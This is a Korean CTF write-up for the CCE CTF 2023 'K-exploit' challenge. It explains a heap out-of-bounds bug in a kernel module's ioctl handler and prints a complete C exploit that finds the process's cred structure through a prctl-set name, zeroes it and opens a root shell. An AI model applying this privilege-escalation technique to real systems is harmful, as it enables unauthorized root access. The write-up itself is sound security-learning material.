[CTF write up] CCE CTF 2023 - K-exploit : Baby kernel heap exploitation

2023. 6. 15. 21:06CTF write up

rm -r ./rootfs
mkdir rootfs
cd rootfs; cpio -idv <../rootfs_updated.img.gz # rootfs 압축 해제

cd ..
gcc exp.c -o exp.o --static
gcc test.c -o test.o --static
cp exp.o rootfs/exp.o
cp test.o rootfs/test.o # exp.c 컴파일 및 rootfs로 옮기기

cd rootfs; find . -print0 | cpio -o --format=newc --null > ../rootfs_updated.img.gz
# rootfs 재압축

#head /proc/kallsyms
#cat /proc/modules

#./extract-vmlinux bzImage > ./vmlinux

다음은 커널 익스 할때 필요한 shell 명령어다. 해당 명령어를 통해 rootfs 파일 시스템을 까서 K-exploit.ko 모듈을 가져오고 분석을 하면된다. exploit 코드를 넣을때는 반드시 --static 옵션으로 정적 컴파일을 해서 옮겨줘야 한다. (문제에서 주어지는 리눅스에는 libc.so.6 같은 기본적인 라이브러리가 없음)

 

아무튼 대충 아래와 같은 단계로 커널 익스를 진행하면 된다.

1. qemu 스크립트를 수정해서 kaslr 해제, rootfs 내에 init 스크립트를 수정해서 root 권한 얻기 (KADR 커널 보호기법 때문에, root 권한이 아니면 "cat /proc/modules" 명령어로 모듈 주소를 못알아냄. kaslr을 해제해야 bp 걸기 편함)

2. rootfs에서 커널 모듈 바이너리 가져와서 분석하기

3. exploit 코드 짜고 rootfs에 넣은 다음 재압축하기

4. gdb 원격 디버깅으로 커널 디버깅하기

 

sh 파일을 만들어서 rootfs 압축 / 재압축 및 exploit 코드 전송이나 gdb attach 과정을 자동화 하면 편하다. 또한 ./extract-vmlinux로 bzImage 파일에서 vmlinux를 추출하면, vmlinux를 통해 여러 커널 gadget들을 찾을 수 있지만, 해당 문제에서는 알 수 없는 이유로 bzImage에서 vmlinux가 뽑히지 않은데다가 어짜피 커널 gadget이 필요 없었으므로 생략.

 

 

ida

  문제의 커널 모듈 코드는 대충 위와 같은 형식이다. ioctl을 통해 여러 동작을 하며, 이때 BSS_user라는 커널 메모리에다가 user 영역에서 복사한 32바이트 크기의 userdata 구조체를 복사하고 해당 데이터들을 여러 로직에서 이용한다. 즉, 위에서 보이는 BSS_user.user_ptr, BSS_user.user_size, BSS_user.offset 등은 모두 user 영역에서 조작가능한 데이터들이다.

 

  해당 부분은 0x10002 ioctl에 대한 코드이며, 다른 ioctl을 통해 context 영역에 kmalloc을 하여 포인터를 저장한다던가와 같은 동작을 한다. 아무튼 위에 코드만 보더라도 쉽게 취약점을 찾을 수 있는데, BSS_user.offset에 대한 boundary 체크가 없어서 커널 heap OOB가 터진다.

 

  이외에도 0x1337 ioctl에 AAW 기능이 있지만, 해당 기능을 사용하지 않아도 익스플로잇이 가능하다.

 

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>

struct userdata {
  int idx;
  int dummy;
  void *user_ptr;
  long int size;
  long int offset;
};


int main(void){
    if (prctl(PR_SET_NAME, "Pwn_ToMe") != 0)
        puts("ERROR prctl");

    struct userdata userdata;
    int fd = open("/dev/K-exploit",O_RDWR);
    char user_ptr[0x100] = {0, };

    userdata.idx = 0;
    userdata.size = 0x20;
    userdata.user_ptr = user_ptr;
    userdata.offset = 0;
    ioctl(fd,0x10003,&userdata); //add content

    int offset = 0;
    long unsigned int my_cred = 0;
    for(int i=0x2a0000; i<0x3e99eb;i++){
        userdata.idx = 0;
        userdata.size = 0x8;
        userdata.user_ptr = user_ptr;
        userdata.offset = i;
        ioctl(fd,0x10001,&userdata); //get content
        if(i%0x1000==0)
            printf("[+] search cred: 0x%x\n",i);

        if(*(long unsigned int*)user_ptr==0x654d6f545f6e7750){
            offset = i;
            userdata.idx = 0;
            userdata.size = 0x8;
            userdata.user_ptr = user_ptr;
            userdata.offset = offset-0x2;
            ioctl(fd,0x10001,&userdata); //get content

            my_cred = *(long unsigned int*)user_ptr;
            break;
        }
    }
    printf("[+] offset: 0x%x\n",offset);
    printf("[+] my cred : 0x%lx\n",my_cred);

    getchar();

    userdata.idx = 0;
    userdata.size = 0x8;
    userdata.user_ptr = user_ptr;
    userdata.offset = offset+0x4;
    ioctl(fd,0x10001,&userdata); //get content

    long unsigned int my_kheap = *(long unsigned int*)user_ptr;
    long int cred_offset = (my_kheap - my_cred) >> 3;

    *(long unsigned int*)user_ptr = 0x0;
    for(int i=0; i<5;i++){
        userdata.idx = 0;
        userdata.size = 0x8;
        userdata.user_ptr = user_ptr;
        userdata.offset = offset+0x4-cred_offset+i;
        ioctl(fd,0x10002,&userdata); //edit content
    }

    system("/bin/sh");

    return 0;

}

 

https://pawnyable.cafe/linux-kernel/LK01/heap_overflow.html 커널 힙 익스 관련 기법들은 pwnyable에서 쉽게 찾을 수 있다. 익스 방법은 정말 간단한데, 아래와 같다.

 

1. prctl로 프로세스 네임을 변경한다.

2. heap OOB read로 프로세스 네임을 search 한다.

3. 프로세스 네임을 찾았다면 해당 주소 -0x10에 cred 주소가 있다.

4. cred 구조체를 0으로 덮는다.